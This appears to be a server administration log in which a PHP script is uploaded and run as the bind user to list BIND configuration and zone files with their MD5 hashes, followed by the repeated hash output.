MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:17:10: Establishing a connection
2026-02-09 14:17:10: 

PUT: /tmp/pkp174048

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:17:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp174048; rm /tmp/pkp174048'

2026-02-09 14:17:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8cfa4ab3d8b17cb819bbbf0ea93fd8e9
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:17:29: Establishing a connection
2026-02-09 14:17:29: Establishing a connection
2026-02-09 14:17:29: 

PUT: /tmp/pkp364370

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:17:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp364370; rm /tmp/pkp364370'

2026-02-09 14:17:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
